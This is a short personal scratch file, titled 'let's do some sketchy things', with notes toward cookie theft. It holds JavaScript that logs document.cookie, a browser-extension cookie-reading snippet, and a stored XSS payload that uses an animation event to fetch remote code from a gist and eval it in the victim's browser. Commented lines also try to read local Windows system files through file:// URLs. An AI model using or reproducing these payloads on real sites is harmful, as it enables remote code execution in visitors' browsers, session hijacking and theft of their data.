let's do some sketchy things

main.js

const interval = setTimeout(redirect, 5000);

function stopTimout() {
  clearTimeout(interval);
}

function redirect(){
  stopTimout();
  console.log("Redirect");
  
  console.log(document.cookie);
}

cookies stoling (need update)

some save :

function logCookies(cookies) {
  for (let cookie of cookies) {
    console.log(cookie.value);
  }
}

let gettingAll = browser.cookies.getAll({
  name: "favorite-color"
});
gettingAll.then(logCookies);
```

Payload stored in the site

<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="function pwn(){fetch('https://gist.githubusercontent.com/lostsh/1a963d8593623ee5a18df37e5933bbef/raw/').then(function (resp) {return resp.text();}).then(function (data) {eval(data);});}; pwn();"></xss>

//location.href = "file:///C:/Windows/System32";
//window.open("file:///c:/windows/system32/drivers/etc/hosts");
//document.body.innerHTML = "<iframe src="file://localhost/c:/windows/system32/drivers/etc/hosts" onload="alert(iframe.contentDocument.body.innerHTML)" id="iframe"></iframe>";